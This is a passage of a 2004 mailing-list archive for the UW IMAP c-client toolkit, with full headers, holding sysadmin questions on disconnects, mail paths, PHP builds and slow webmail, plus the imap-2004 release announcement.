__CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, SIGNATURE_LONG_SPARSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We are getting a lot of clients being disconnected from the server... in the middle of processing.. Is there anything we can do about his? It is not client specific.. We use Outlook, Evolution and a couple of others around and all seem to have the same problem. When this happens the mail users thought they deleted shows up.. Where can I start looking to fix this problem.. Is there more info someone needs to help me with this? Thanks See-ya Mitch -- /####################################################################/ /# Mitchell "Buzz" Baker "To Infinity And Beyond..." #/ /# Sr. Systems/Security Admin Rose-Hulman Institute of Technology #/ /# Mitchell.D.Baker@rose-hulman.edu www.rose-hulman.edu #/ /# For PGP Public key, check out www.keyserver.net #/ /####################################################################/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 4 15:15:15 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 4 May 2004 15:15:15 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i44MFFZg030975 for ; Tue, 4 May 2004 15:15:15 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i44MFDol017325 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 4 May 2004 15:15:13 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i44MDKUQ012074; Tue, 4 May 2004 15:13:20 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i44MCOKX082886 for ; Tue, 4 May 2004 15:12:24 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i44MCNNY022160 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 4 May 2004 15:12:23 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i44MCMpw007456; Tue, 4 May 2004 15:12:22 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i44MCLuE009616 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 4 May 2004 15:12:22 -0700 Message-Id: Date: Tue, 4 May 2004 15:11:52 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Mitchell D. Baker" Cc: c-client@u.washington.edu Subject: Re: lots of disconnects.... In-Reply-To: <1083707841.4088.65.camel@babylon5.rose-hulman.edu> References: <1083707841.4088.65.camel@babylon5.rose-hulman.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN What mailbox format are you using? What events, if any, are logged in the mail syslog that correspond with these disconnects? If you are using traditional UNIX mailbox format, are you certain that your clients have been defanged so as not to open multiple simultaneous sessions to the same mailbox? Does this problem magically not seem to happen to Pine users (and users of other good clients which don't need defanging)? On Tue, 4 May 2004, Mitchell D. Baker wrote: > We are getting a lot of clients being disconnected from the server... > in the middle of processing.. Is there anything we can do about his? It > is not client specific.. We use Outlook, Evolution and a couple of > others around and all seem to have the same problem. When this happens > the mail users thought they deleted shows up.. Where can I start looking > to fix this problem.. Is there more info someone needs to help me with > this? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon May 10 09:52:54 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 10 May 2004 09:52:54 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4AGqsQB006527 for ; Mon, 10 May 2004 09:52:54 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4AGqqve002391 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 10 May 2004 09:52:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4AGqV1v011864; Mon, 10 May 2004 09:52:31 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4AGoZXY111932 for ; Mon, 10 May 2004 09:50:35 -0700 Received: from web40609.mail.yahoo.com (web40609.mail.yahoo.com [66.218.78.146]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4AGoWcn013370 for ; Mon, 10 May 2004 09:50:32 -0700 Received: from [201.128.51.215] by web40609.mail.yahoo.com via HTTP; Mon, 10 May 2004 09:50:31 PDT Message-Id: <20040510165031.52190.qmail@web40609.mail.yahoo.com> Date: Mon, 10 May 2004 09:50:31 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Manuel de la Torre To: c-client@u.washington.edu Subject: Changing env_unix.c MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-664319418-1084207831=:51585" X-Uwash-Spam: Gauge=XII, Probability=12%, Report='X_NJABL_DUL 1, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CTYPE_MULTIPART_ALT 0, __EVITE_CTYPE 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __MIME_HTML 0, RCVD_IN_NJABL_ORG 0, __MSGID_BEFORE_OKAY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-664319418-1084207831=:51585 Content-Type: text/plain; charset=us-ascii I have a RPM imap-2001a-18 installation in my linux box, i have configures my mailer (postfix) to deliver mail into a subdirectory of the user's home directory. So I have to tell WU-IMAP the correct place, I have read this can be done with changing in the env_unix.c file the following: sprintf (tmp,"%s/%s",MAILSPOOL,myusername ()); to be: sprintf (tmp,"%s/.mailbox",myhomedir ()); and static char *mailsubdir = NIL; /* mail subdirectory name */ to be: static char *mailsubdir = "mail";/* mail subdirectory name */ My problem is *how* can I change this in a RPM installation? Please help! Thanks. -- MET (yahoo.com) --------------------------------- Do you Yahoo!? Win a $20,000 Career Makeover at Yahoo! HotJobs --0-664319418-1084207831=:51585 Content-Type: text/html; charset=us-ascii
    I have a RPM imap-2001a-18 installation in my linux box, i have configures my mailer (postfix) to deliver mail into a subdirectory of the user's home directory.
     
    So I have to tell WU-IMAP the correct place, I have read this can be done with changing in the env_unix.c file the following:
     
    sprintf (tmp,"%s/%s",MAILSPOOL,myusername ());
    to be:
    sprintf (tmp,"%s/.mailbox",myhomedir ());
    and
     
    static char *mailsubdir = NIL; /* mail subdirectory name */
    to be:
    static char *mailsubdir = "mail";/* mail subdirectory name */
    My problem is *how* can I change this in a RPM installation?
     
    Please help!
     
    Thanks.


    --
    MET (yahoo.com)

    Do you Yahoo!?
    Win a $20,000 Career Makeover at Yahoo! HotJobs --0-664319418-1084207831=:51585-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon May 10 18:36:39 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 10 May 2004 18:36:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4B1adT9006231 for ; Mon, 10 May 2004 18:36:39 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4B1abwa017191 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 10 May 2004 18:36:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4B1aK35016738; Mon, 10 May 2004 18:36:21 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4B1YuHh065988 for ; Mon, 10 May 2004 18:34:56 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4B1YtCU005524 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Mon, 10 May 2004 18:34:56 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4B1Yr2I025747 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 10 May 2004 18:34:54 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4B1Yrq9028090; Mon, 10 May 2004 18:34:53 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4B1YrRR029424 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 10 May 2004 18:34:53 -0700 Message-Id: Date: Mon, 10 May 2004 18:32:47 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: UW IMAP announcements: ; Subject: ANNOUNCING: University of Washington IMAP Toolkit version 2004 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_3 0, TO_HAS_SPACES 0.000, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This message is to announce the University of Washington IMAP toolkit, version 2004. imap-2004 is a major release. Programs written for the previous release (imap-2002e) should build with this version with minor modification. imap-2004 is available at: ftp://ftp.cac.washington.edu/mail/imap-2004.tar.Z (MD5 checksum: ec3dafeeae320457a1d098157e9bf969) Perhaps the most significant addition is IPv6 support in the UNIX and Windows 2000/XP support code. IPv6 is now the default for Windows 2000/XP; to get IPv6 support for UNIX include "IP=6" on the make command line. Users will also notice that mailutil has three new commands: delete, rename, and prune. Refer to the mailutil man page for more details on these new functionalities. More details are in the release notes, in the imap-2004/docs/RELNOTES. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue May 11 07:09:00 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 11 May 2004 07:09:00 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4BE90Tf007994 for ; Tue, 11 May 2004 07:09:00 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4BE8vf3007813 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 11 May 2004 07:08:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4BE8ftN013286; Tue, 11 May 2004 07:08:42 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4BE66gG052180 for ; Tue, 11 May 2004 07:06:07 -0700 Received: from neptune.quay.net (neptune.quay.net [64.26.156.34]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4BE65Ia032564 for ; Tue, 11 May 2004 07:06:05 -0700 Received: by neptune.quay.net (Postfix, from userid 998) id 5D1A5AD7C3; Tue, 11 May 2004 10:06:05 -0400 (EDT) Received: from localhost (triton.pier.quay.net [172.30.69.10]) by neptune.quay.net (Postfix) with ESMTP id 36163AD7C1 for ; Tue, 11 May 2004 10:06:03 -0400 (EDT) Received: from h188s110a129n47.user.nortelnetworks.com (h188s110a129n47.user.nortelnetworks.com [47.129.110.188]) by secure.quay.net (IMP) with HTTP for ; Tue, 11 May 2004 10:06:03 -0400 Message-Id: <1084284363.40a0ddcb25b51@secure.quay.net> Date: Tue, 11 May 2004 10:06:03 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Gabriel O'Brien" To: c-client@u.washington.edu Subject: Odd IMAP and PHP interaction problem MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-105.8 required=5.0 tests=BAYES_01,USER_AGENT_IMP,USER_IN_WHITELIST version=2.55 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.55 (1.174.2.19-2003-05-19-exp) X-Sanitizer: Advosys mail filter X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, SIGNATURE_LONG_SPARSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I hope someone here can help me... I'm not really certain where my problem is, but it's possible I'm misunderstanding something about c-client so I figure it's worth a shot to ask here. I am trying to install PHP on the new server I am building and unfortunately on some platforms you need to have the uw-imap c-client headers and libraries installed (manually that is, they don't seem to be available when you use the pre-packaged uw-imapd) in order to build PHP with IMAP support (which I require for my webmail client -- Horde/IMP). At any rate below are the two build scripts that I use for configuring Apache 2.0 and PHP 4.3. despina root # cat build_apache.sh #!/bin/sh ./configure --prefix=/opt/apache-2.0.49 \ --enable-so \ --enable-mods-shared="ssl usertrack info alias rewrite proxy" despina root # cat build_php.sh #!/bin/sh ./configure --prefix=/opt/php-4.3.6 \ --with-apxs2=/opt/apache-2.0.49/bin/apxs \ --with-mysql \ --with-imap=/usr/local/lib/c-client \ --enable-force-cgi-redirect \ --enable-discard-path \ --with-zlib \ --enable-ftp \ --with-bz2 \ --with-dom \ --enable-exif \ --with-gd \ --with-jpeg \ --with-png \ --with-gettext \ --with-mm \ --with-mcal=/usr/lib \ --with-mcrypt \ Apache (as expected builds just fine) but when I go to install PHP on top of it, PHP invariably produces something like: configure: error: Cannot find imap library (libc-client.a). Please check your IMAP installation. I've tried all sorts of fudging around to get this to work but nothing seems to do the trick. The first part of the problem is that there is no such .a file called libc-client.a, but in the past I have been able to get around this simply by creating a soft link (ln -s c-client.a /usr/local/lib/libc-client.a) and this has done the trick (IIRC). For the record I am building c-client using "make slx SSLTYPE=none" and then copying the c-client directory in /usr/src/imap-2002e to /usr/local/lib. Any kind of help would be muchly apreciated. (I've cross posted this to the PHP mailing list and the Gentoo forums, if I get a response I'll post it here.) I can't imagine that I'm the only one ever to see this, or if I am then I must be doing something wrong since everybody who uses a web based IMAP client must be seeing something similar to this... Thanks in advance! Peace, Gabe -- go@quay.net http://web.quay.net/ http://web.quay.net/gpg/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 11 10:41:41 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 11 May 2004 10:41:41 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4BHfbbh021622 for ; Tue, 11 May 2004 10:41:37 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4BHfZZi024727 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 11 May 2004 10:41:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4BHfH6o012806; Tue, 11 May 2004 10:41:17 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4BHdogW069656 for ; Tue, 11 May 2004 10:39:50 -0700 Received: from staff.mcgill.ca (staff.McGill.CA [132.206.27.46]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4BHdllf010423 for ; Tue, 11 May 2004 10:39:47 -0700 Received: from clumeq.mcgill.ca ([132.206.224.144]) by staff.mcgill.ca (PMDF V6.0-025 #37396) with ESMTP id <0HXK00C9692AG5@staff.mcgill.ca> for c-client@u.washington.edu; Tue, 11 May 2004 13:39:46 -0400 (EDT) Message-Id: <40A10FE1.6020005@clumeq.mcgill.ca> Date: Tue, 11 May 2004 13:39:45 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Patrice Hamelin To: c-client@u.washington.edu Subject: Squirrelmail veeery slow with UW imap MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, SIGNATURE_LONG_SPARSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I know it`s not a new subject and I read many pages about that subject from squirrelmail.org, but still I have this problem. Let`s say I am user A and I have no problem using squirrelmail. BUT user B has a terrible slow response using squirrelmail and UW imap on RH 7.3. User B told me a couple of weeks ago that the response time was slow and I answered that his INBOX was too big and bla bla bla. He never cleaned up his INBOX, and now that he is away, response time is terrible terrible, terrible! What I did so far: - with him on the phone, I made him access MY INBOX, with my login and a temporary password. WORKED OK. - I copied /var/spool/mail/userB to ~userB/backup and clean his INBOX ( "> /var/spool/mail/userB") no difference, still slow. - Change permission on /var/spool/mail to 1777 (no difference) - I upgraded UW imap to 2004 release. (did aminute ago and still have to test with him on the phone. He seems to be the only one guy to have problem accessing its emails. No other users report me any problems. What else can it be? corrupted file? squirrelmail preferences? I cannot reproduce the problem since I don't have his password to access his INBOX. Thanks for any help! -- Patrice Hamelin ing, M.Sc.A, CCNA Systems Administrator CLUMEQ Supercomputer Centre McGill University -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 11 13:00:36 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 11 May 2004 13:00:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4BK0Zn9030384 for ; Tue, 11 May 2004 13:00:35 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4BK0XT8031061 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 11 May 2004 13:00:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4BK0C5t015890; Tue, 11 May 2004 13:00:12 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4BJx0YA083594 for ; Tue, 11 May 2004 12:59:01 -0700 Received: from smtp1.pp.htv.fi (smtp1.pp.htv.fi [213.243.153.34]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4BJwx5o008597 for ; Tue, 11 May 2004 12:58:59 -0700 Received: from [192.168.0.100] (cs78163191.pp.htv.fi [62.78.163.191]) by smtp1.pp.htv.fi (Postfix) with ESMTP id AE06480100; Tue, 11 May 2004 22:58:57 +0300 (EEST) Message-Id: <40A13066.7070904@atp.fi> Date: Tue, 11 May 2004 22:58:30 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ere Maijala To: Patrice Hamelin Cc: c-client@u.washington.edu Subject: Re: Squirrelmail veeery slow with UW imap In-Reply-To: <40A10FE1.6020005@clumeq.mcgill.ca> References: <40A10FE1.6020005@clumeq.mcgill.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Patrice Hamelin wrote: > Hi, > > I know it`s not a new subject and I read many pages about that subject > from squirrelmail.org, but still I have this problem. Let`s say I am > user A and I have no problem using squirrelmail. BUT user B has a > terrible slow response using squirrelmail and UW imap on RH 7.3. Could it be that user B has "Enable Unread Message Notification" set to "All folders"? In my experience it has a quite big impact on the performance, at least displaying the folder list. As it happens, just today I was checking why my Squirrelmail was so slow and it was because of that setting. Ere From pinedev@shivax2.cac.washington.edu Wed May 19 18:21:00 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 May 2004 18:21:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K1Kt4I013565 for ; Wed, 19 May 2004 18:20:55 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K1Kr9s002786 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 19 May 2004 18:20:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4K1KXFY012146; Wed, 19 May 2004 18:20:33 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K1H1A3124130 for ; Wed, 19 May 2004 18:17:01 -0700 Received: from hpcaz.hpcaz.com (hpcaz.hpcaz.com [69.94.33.142]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K1GxLo025213 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 19 May 2004 18:17:00 -0700 Received: from hpcaz.com (localhost.localdomain [127.0.0.1]) (authenticated (0 bits)) by hpcaz.hpcaz.com (8.11.6/8.11.6) with ESMTP id i4K16iM21912 for ; Wed, 19 May 2004 18:06:44 -0700 Received: from 216.161.174.4 (SquirrelMail authenticated user tsmith@hpcaz.com) by www.hpcaz.com with HTTP; Wed, 19 May 2004 18:06:44 -0700 (MST) Message-Id: <34767.216.161.174.4.1085015204.squirrel@www.hpcaz.com> Date: Wed, 19 May 2004 18:06:44 -0700 (MST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Thomas Smith" To: Subject: imap-utils MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __HAS_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm using a hosting provider that uses UW IMAP 2001a. My question is this: It appears that imap-2001a was released in mid-2001 whereas imap-utils was released in April of 2002. Are there any features introduced into the current imap-utils that would make it incompatible with imap-2001a's support of mbx? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 19 19:31:30 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 May 2004 19:31:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K2VPLv016361 for ; Wed, 19 May 2004 19:31:25 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K2VNup024116 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 19 May 2004 19:31:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4K2TjeI013244; Wed, 19 May 2004 19:29:45 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K2RI7F112474 for ; Wed, 19 May 2004 19:27:18 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K2RGfw009742 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 19 May 2004 19:27:17 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout4.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K2R3Xu016929; Wed, 19 May 2004 19:27:03 -0700 Received: from localhost (mrc@localhost) by 